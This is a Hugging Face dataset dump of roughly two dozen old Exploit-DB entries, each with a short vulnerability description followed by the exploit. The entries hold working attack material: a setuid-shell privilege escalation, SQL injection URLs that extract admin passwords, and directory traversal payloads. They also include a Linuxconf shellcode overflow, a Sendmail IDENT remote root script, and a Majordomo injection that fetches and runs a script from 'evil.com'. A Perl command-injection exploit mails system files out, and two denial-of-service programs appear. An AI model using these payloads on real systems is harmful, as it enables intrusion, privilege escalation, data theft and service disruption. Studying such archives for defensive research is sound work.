QLWD/code_shield huggingface dataset:
标题: Micro Focus Cobol 4.1 - Arbitrary Command Execution EDB-ID: 20621 CVE: 2001-0208 类型: LOCAL 平台: UNIX 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2359/info

Micro Focus Cobol is a development suite for unix platforms offered by Merant. It is typically licensed on a per-user basis.

If Micro Focus Cobol is installed with the 'Apptrack' feature enabled, local users may be able to elevate privileges. A shell script called 'nolicense' that is executed as root is installed with insecure file permissions.

As a result, attackers may be able to execute arbitrary commands as root if the script is modified.

This is known to affect version 4.1. Though unverified, previous versions of Micro Focus Cobol may also be vulnerable. 

$ cat >> /var/mfaslmf/nolicense
/bin/cp /bin/ksh /tmp; chmod 4755 /tmp/ksh
^D

[wait until the application server licenses are used up]

$ /tmp/ksh
# URL: https://www.exploit-db.com/exploits/20621
标题: aolserver 3.2 Win32 - Directory Traversal EDB-ID: 20614 CVE: 2001-0205 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2343/info

It is possible for a remote user to gain read access to directories outside the root directory of an AOLserver. Requesting a specially crafted URL composed of '.../' sequences will disclose an arbitrary directory. 

http://target/.../[file outside web root] URL: https://www.exploit-db.com/exploits/20614
标题: IBM Net.Commerce 2.0/3.x/4.x - orderdspc.d2w order_rn Option SQL Injection EDB-ID: 20618 CVE: 2001-0319 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2350/info

IBM's Net.Commerce ecommerce platform supports macros which, by default, do not properly validate requests in user-supplied input. A thoughtfully-formed request to a vulnerable script can cause the server to disclose sensitive system information, including results of arbitrary queries to the Net.Commerce database. This can allow an attacker to obtain an elevation of privileges to that of the DB2INST1 account, and potentially issue arbitrary shell commands as the DB2INST1 user.

IBM fixed the vulnerable macros they ship with the product in Net.Commerce Versions 3.2 and WebSphere Commerce Suite 4.1. Custom macros created by the user may be vulnerable to this type of attack. WebSphere Commerce Suite Version 5.1 is not vulnerable at all as it does not use Net.Data macros. 

To obtain the administrator accounts use the following URL:

http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlogid+as+mestname,0+from+shopper+where+shshtyp+%3d+'A';

To obtain the encrypted passwords use the following URL:

http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlpswd+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';

To obtain the password reminders use the following URL:
http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shchaans+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';

"orderdspc.d2w" is not the only vulnerable macro. It is just used as an example. Casting between different data-types is possible. Read the DB2 manual pages.

It may also be possible to query other databases. URL: https://www.exploit-db.com/exploits/20618
标题: informs picserver 1.0 - Directory Traversal EDB-ID: 20612 CVE: 2001-0202 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2339/info

It is possible for a remote user to gain read access to directories and files outside the root directory of a PicServer. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory. 

http://target/../[file outside web root]
http://target/.../[file outside web root] URL: https://www.exploit-db.com/exploits/20612
标题: soft lite serverworx 3.0 - Directory Traversal EDB-ID: 20616 CVE: 2001-0206 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2346/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ServerWorx. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory. 

http://target/../[file outside web root]

http://target/.../[file outside web root] URL: https://www.exploit-db.com/exploits/20616
标题: anaconda Foundation 1.4 < 1.9 - Directory Traversal EDB-ID: 20611 CVE: 2000-0975 类型: REMOTE 平台: CGI 发布日期: 2000-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2338/info

A vulnerability exists in Anaconda Foundation Directory which allows a remote user to traverse the filesystem of a target computer. This may lead to the disclosure of file and directory contents.

Arbitrary files can be accessed through the use of double dot '../' techniques and by appending a null byte followed by '.html' to the extension of the filename in question. The file 'apexec.pl' in conjunction with the variable 'template' are subject to this directory traversal vulnerability.

Update: It was originally believed that this issue does not affect Anaconda Foundation Directory versions 1.5 and subsequent. New information suggests that newer versions of the script are still vulnerable to this issue. 

http://www.example.com/cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../directory/filename.ext%00.html&passurl=/category/

http://www.example.com/cgi-bin/apexec.pl?template=/etc/passwd%%0000.html URL: https://www.exploit-db.com/exploits/20611
标题: carey internets services commerce.cgi 2.0.1 - Directory Traversal EDB-ID: 20623 CVE: 2001-0210 类型: REMOTE 平台: CGI 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2361/info

It is possible for a remote user to gain read access to directories and files outside the root directory of Carey Internet Services Commerce.cgi. Requesting a specially crafted URL composed of '/../%00' along with the known filename or directory will disclose the requested resource. 

http://target/cgi/commerce.cgipage=../../../../etc/hosts%00filename.html URL: https://www.exploit-db.com/exploits/20623
标题: SilverPlatter WebSPIRS 3.3.1 - File Disclosure EDB-ID: 20625 CVE: 2001-0211 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2362/info

A remote user could gain read access to known files outside of the root directory where SilverPlatter WebSPIRS resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. 

www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file URL: https://www.exploit-db.com/exploits/20625
标题: Microsoft Windows 98/2000 - UDP Socket Denial of Service EDB-ID: 20613 CVE: 2001-0324 类型: DOS 平台: WINDOWS 发布日期: 2001-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2340/info

Microsoft Windows 2000 and 98 are subject to a denial of service condition. Receiving a maliciously crafted email or visiting a malicious web site could prevent Windows 2000 from DNS resolution and Windows 98 from accepting any new TCP connections. This is due to a lack of restrictions on the allocation of network "sockets" by user applications.

A malicious java applet placed on a website could exploit this vulnerability and cause a DoS on victim systems. 

for(i=0;i<m;i++)
{

try { DatagramSocket d = new DatagramSocket();v.addElement(d);}
catch (Exception e) {System.out.println("Exhausted, i="+i);}
} URL: https://www.exploit-db.com/exploits/20613
标题: Linuxconf 1.1.6 r10 - Remote Buffer Overflow EDB-ID: 20619 CVE: 2000-0017 类型: REMOTE 平台: LINUX 发布日期: 1999-12-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2352/info

Linuxconf is a Linux configuration utility from Solucorp.

An attacker supplying excess data to the USER_AGENT field in vulnerable versions of Linuxconf. This data can overflow the relevant buffer, creating a stack overflow and, properly exploited, allowing remote execution of arbitrary code as root.

/*

  linuxconf exploit by R00T-X (c) 1999

  USER_AGENT overflow x86
  should work on all linux's but you need to have
  network access to linuxconf

  greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P

  have fun with this but for EDUCATIONAL PURPOSES :)

  Usage:   (./linexp <offset>;cat)| nc targethost 98

 */

char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh\x00";

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>

#define BUFLEN 1025
#define NOP 0x90

void
main (int argc, char *argv[])
{
  char buf[BUFLEN];
  int offset,nop,i;
  unsigned long esp;
  char shell[1024+300];

  if(argc < 2)
  {
  fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]);
  exit(0);
  }

  nop = 511;
  esp = 0xefbfd5e8;
  offset = atoi(argv[1]);

  memset(buf, NOP, BUFLEN);
  memcpy(buf+(long)nop, shell, strlen(shell));

  for (i = 256; i < BUFLEN - 3; i += 2)
{    *((int *) &buf[i]) = esp + (long) offset;
     shell[ sizeof(shell)-1 ] = 0;
}

 printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
  for (i = 0; i < BUFLEN; i++)
    putchar(buf[i]);

  printf("\r\n");

  return;
} URL: https://www.exploit-db.com/exploits/20619
标题: Guido Frassetto SEDUM HTTP Server 2.0 - Directory Traversal EDB-ID: 20608 CVE: 2001-0199 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2335/info

A remote user could gain read access to known files outside of the root directory in a SEDUM HTTP Server. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose the requested file.

http://target/../[file outside web root]

http://target/.../[file outside web root] URL: https://www.exploit-db.com/exploits/20608
标题: GoAhead Web Server 2.0/2.1 - Directory Traversal EDB-ID: 20607 CVE: 2001-0228 类型: REMOTE 平台: WINDOWS 发布日期: 2001-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2334/info

A specially crafted URL composed of '..\' sequences along with the known filename will disclose the requested file. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 

Gaining access to a known file:

http://target/..\..\..\..\..\..\filename

Executing arbitrary commands:

http://target/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir+c:\ URL: https://www.exploit-db.com/exploits/20607
标题: Heat-On HSWeb Web Server 2.0 - Full Path Disclosure EDB-ID: 20609 CVE: 2001-0200 类型: REMOTE 平台: CGI 发布日期: 2001-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2336/info

Requesting a specially crafted URL will make it possible for a remote attacker to disclose the physical path to the web root and peruse the entire directory listing. 

http://target/cgi/ URL: https://www.exploit-db.com/exploits/20609
标题: Majordomo 1.89/1.90 - 'lists' Command Execution EDB-ID: 20597 CVE: 1999-0207 类型: REMOTE 平台: LINUX 发布日期: 1994-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2310/info

Majordomo is a perl-based Internet e-mail list server. Versions prior to 1.91 are vulnerable to an attack whereby specially crafted e-mail headers are incorrectly processed, yielding the ability to execute arbitrary commands with the privileges of Majordomo. This is possible only when "advertise" or "noadvertise" directives are specified in the configuration files. 

Local exploit:
--exploit--
telnet localhost 25

helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
data
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro

LISTS
.
quit
--end of exploit --

For the remote users, change the Reply-to field to something like:

Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro URL: https://www.exploit-db.com/exploits/20597
标题: iweb hyperseek 2000 - Directory Traversal EDB-ID: 20601 CVE: 2001-0253 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2314/info

A specially crafted URL, composed of '../' and '%00', will disclose the directory listing and files of the target with read permissions. 

http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/20601
标题: Sendmail 8.6.9 IDENT - Remote Command Execution EDB-ID: 20599 CVE: 1999-0204 类型: REMOTE 平台: UNIX 发布日期: 1994-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2311/info

A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability. 


it for sm869 or worse
# identd must not be enabled (port 113 must be free)

# this must be a host that mail can go to (MX not pointing elsewhere)
# that we cant reach right now (ie. host doesnt exist anymore)
UNREACHABLE="goofy.uhcc.hawaii.edu"

# Commands to run on remote host
COMMANDS="cat /etc/passwd"

# what host to run it on
TARGET="foobar.all.net"

# work in a temp dir
TD=/tmp/.Xwork.$$
mkdir $TD
cd $TD

cat > a.c <<_END_
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* run body of mail through shell run as daemon */
#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "

#ifdef other_possibilities
/* write to a file as daemon */
#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
/* send back a file to someone and erase it */
#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRemmanuel@2600.com\nHXxx: "
#endif

readline(fd, buf, len)
char *buf;
{
    int i = 0;

    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
       if(buf[i] == '\r' || buf[i] == '\n')
           break;
       i++;
    }
    buf[i] = '\0';
}

die(str)
char *str;
{
    perror(str); exit(1);
}

main()
{
    int s, s2, adlen;
    struct sockaddr_in ad;
    char buf[60];

    ad.sin_family = AF_INET;
    ad.sin_port = htons(113);
    ad.sin_addr.s_addr = INADDR_ANY;
    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
    if(listen(s, 1) == -1) die("listen");
    adlen = sizeof(ad);
    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
    if(s2 == -1) die("accept");
    printf("Connection from %s port %d\n", 
        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
    readline(s2, buf, 50);
    sprintf(buf + strlen(buf), " : %s\n", REPLY);
    write(s2, buf, strlen(buf));
}
_END_

# compile program
echo "compiling"
cc a.c -o ident
echo "running fake ident"
./ident &

# send to reomte
echo "talking to remote"
(
  sleep 1; echo "helo"
  sleep 1; echo "mail from: <dan>"
  sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
  sleep 1; echo "data"
  echo "$COMMANDS"
  echo "."
  sleep 1; echo "quit"
  sleep 5
) | telnet $TARGET 25

# cleanup
cd /
rm -rf $TD
echo "done." URL: https://www.exploit-db.com/exploits/20599
标题: Microsoft Windows NT 4.0 - Networking Mutex Denial of Service EDB-ID: 20596 CVE: 2001-0006 类型: DOS 平台: WINDOWS 发布日期: 2001-01-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2303/info

Microsoft Windows NT 4.0 is subject to a denial of service due to the implementation of incorrect permissions in a Mutex object. A local user could gain control of the Mutex on a networked machine and deny all network communication. 

/*
/* mutation.c - (c) 2000, Arne Vidstrom, arne.vidstrom@ntsecurity.nu
/*                        http://ntsecurity.nu
/*
/* - Disables all network connectivity through Winsock
/* - Can be run from any account (e.g. an ordinary User account)
/*
*/

#include <windows.h>
#include <aclapi.h>

int main(void)
{
 PSID pEveryoneSID;
 SID_IDENTIFIER_AUTHORITY iWorld = SECURITY_WORLD_SID_AUTHORITY;
 PACL pDacl;
 DWORD sizeNeeded;

 AllocateAndInitializeSid(&iWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID);
 sizeNeeded = sizeof(ACL) + sizeof(ACCESS_DENIED_ACE) + GetLengthSid(pEveryoneSID) - sizeof(DWORD);
 pDacl = (PACL) malloc(sizeNeeded);
 InitializeAcl(pDacl, sizeNeeded, ACL_REVISION);
 AddAccessDeniedAce(pDacl, ACL_REVISION, GENERIC_ALL, pEveryoneSID);
 SetNamedSecurityInfo("Winsock2ProtocolCatalogMutex", SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pDacl, NULL);
 free(pDacl);
 return 0;
} URL: https://www.exploit-db.com/exploits/20596
标题: FreeBSD 3.x/4.x - 'ipfw' Filtering Evasion EDB-ID: 20593 CVE: 2001-0183 类型: REMOTE 平台: FREEBSD 发布日期: 2001-01-23 漏洞利用脚本: source: www.securityfocus.com/bid/2293/info

There exists a serious vulnerability in FreeBSD's implementation of packet filtering for IPv4 and IPv6.

The vulnerability exists in situations where a filtering rule permits packets through if they are part of an established connection.

It is possible for packets that are not part of an established connection to be allowed through. These packets must have the ECE flag set, which is in the TCP reserved options field.

Exploitation of this vulnerability may allow for unauthorized remote access to otherwise protected services. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20593.tgz URL: https://www.exploit-db.com/exploits/20593
标题: fastream ftp++ 2.0 - Directory Traversal EDB-ID: 20584 CVE: 2001-0255 类型: REMOTE 平台: WINDOWS 发布日期: 2001-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/2267/info

It is possible for a remote uesr to gain read permissions outside of the Faststream FTP++ Server directory. By requesting an 'ls' command along with the drive name, Fastream FTP++ will disclose the contents of the requested drive. 

ftp> pwd
257 "/C:/FTPROOT/" is current directory.
ftp> ls c:/
200 Port command successful.
150 Opening data connection for directory list.

(listing of c:\) URL: https://www.exploit-db.com/exploits/20584
标题: Phorum 3.0.7 - 'admin.php3' Unverified Administrative Password Change EDB-ID: 20586 CVE: 2000-1228 类型: WEBAPPS 平台: PHP 发布日期: 2000-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2271/info

Phorum is a popular, free, open source software package originally written by Brian Moon. The package is designed to add chat/bulletin board style interaction between visitors of a web site.

A problem with Phorum can allow remote users access to restricted files on the local system. This is due to the handling of passwords by the program. By sending a custom crafted string to the admin.php3 script, it's possible to change the administrative password of the board without verification of the users credentials. The "default .langname name" field in the Master settings can then be changed to any file of the users liking, which upon reload, will be output as the page. This problem makes it possible for a user with malicious motives to take control of the message board, read any file on the system, and potentially gain remote access. 

First, send the following URL to Phorum, which changes the password to flow:

http://www.example.com/admin.php3?step=4&option=pass&confirm=flow&newPssword=flow

Next, after gaining administrative access to the system, enter the "Master Settings" menu, and set the "default .langfile name" to the following:

../../../../../../../../../../../etc/passwd

This will make the contents of the /etc/passwd file viewable. URL: https://www.exploit-db.com/exploits/20586
标题: NCSA 1.3/1.4.x/1.5 / Apache HTTPd 0.8.11/0.8.14 - ScriptAlias Source Retrieval EDB-ID: 20595 CVE: 1999-0236 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/2300/info

NSCA httpd prior to and including 1.5 and Apache Web Server prior to 1.0 contain a bug in the ScriptAlias function that allows remote users to view the source of CGI programs on the web server, if a ScriptAlias directory is defined under DocumentRoot. A full listing of the CGI-BIN directory can be obtained if indexing is turned on, as well. This is accomplished by adding multiple forward slashes in the URL (see exploit). The web server fails to recognize that a ScriptAlias directory is actually redirected to a CGI directory when this syntax is used, and returns the text of the script instead of properly executing it. This may allow an attacker to audit scripts for vulnerabilities, retrieve proprietary information, etc. 

To retrieve the contents of http://targethost/cgi-bin/script.cgi an attacker would use the following URL, provided the directory cgi-bin is redirected using ScriptAlias:
http://targethost///cgi-bin/script.cgi URL: https://www.exploit-db.com/exploits/20595
标题: textcounter.pl 1.2 - Arbitrary Command Execution EDB-ID: 20583 CVE: 1999-1479 类型: REMOTE 平台: CGI 发布日期: 1998-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2265/info

textcounter.pl is distributed through Matt's Scripts archive, and provides added features to httpd servers such as counters, guestbooks, and http cookie management. Due to insufficient checking of entered characters, it is possible for a remote user to input custom formatted strings into the $DOCUMENT_URI environment variable which, which when parsed can be executed as the UID of the httpd process. This makes it possible for a user with malicious intentions to execute arbitrary commands, and potentially gain access to the local host. 

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this 
$EMAIL='pdoru@pop3.kappa.ro,root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}

$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;

#print "$text\n";

system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text); 
#system({"lynx"} "lynx", $text);     # if you don't have "wget"
                                  # you can try with "Lynx" URL: https://www.exploit-db.com/exploits/20583
标题: Phorum 3.0.7 - 'violation.php3' Arbitrary Email Relay EDB-ID: 20587 CVE: 2000-1234 类型: WEBAPPS 平台: PHP 发布日期: 2000-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2272/info

Phorum is a freely available, open source package originally written by Brian Moon. The package is designed to add enhanced features to a web page, allowing users to interact through bulletin board style chats forums and discussions.

A problem with the Phorum package could allow remote users to arbitrarily relay email. Due to the way violation.php3 handles URL's as arguments, it is possible to create a custom crafted URL request to the script which will allow a remote user to send email through the hosts MTA. This email will then be delivered to the specified person with the appearance of coming from the web host. This problem makes it possible for a user with malicious intentions to socially engineer, mailbomb, or spam from the web host, and potentially get the host blacklisted in one of such lists. 

This vulnerability may be exploited requesting a URL of:

http://some.host.com/violation.php3?Mod=address@to.spam&ForumName=text_to_spam

Where address@to.spam is the destination of the mail, and text_to_spam is the text to appear in the body of the mail. URL: https://www.exploit-db.com/exploits/20587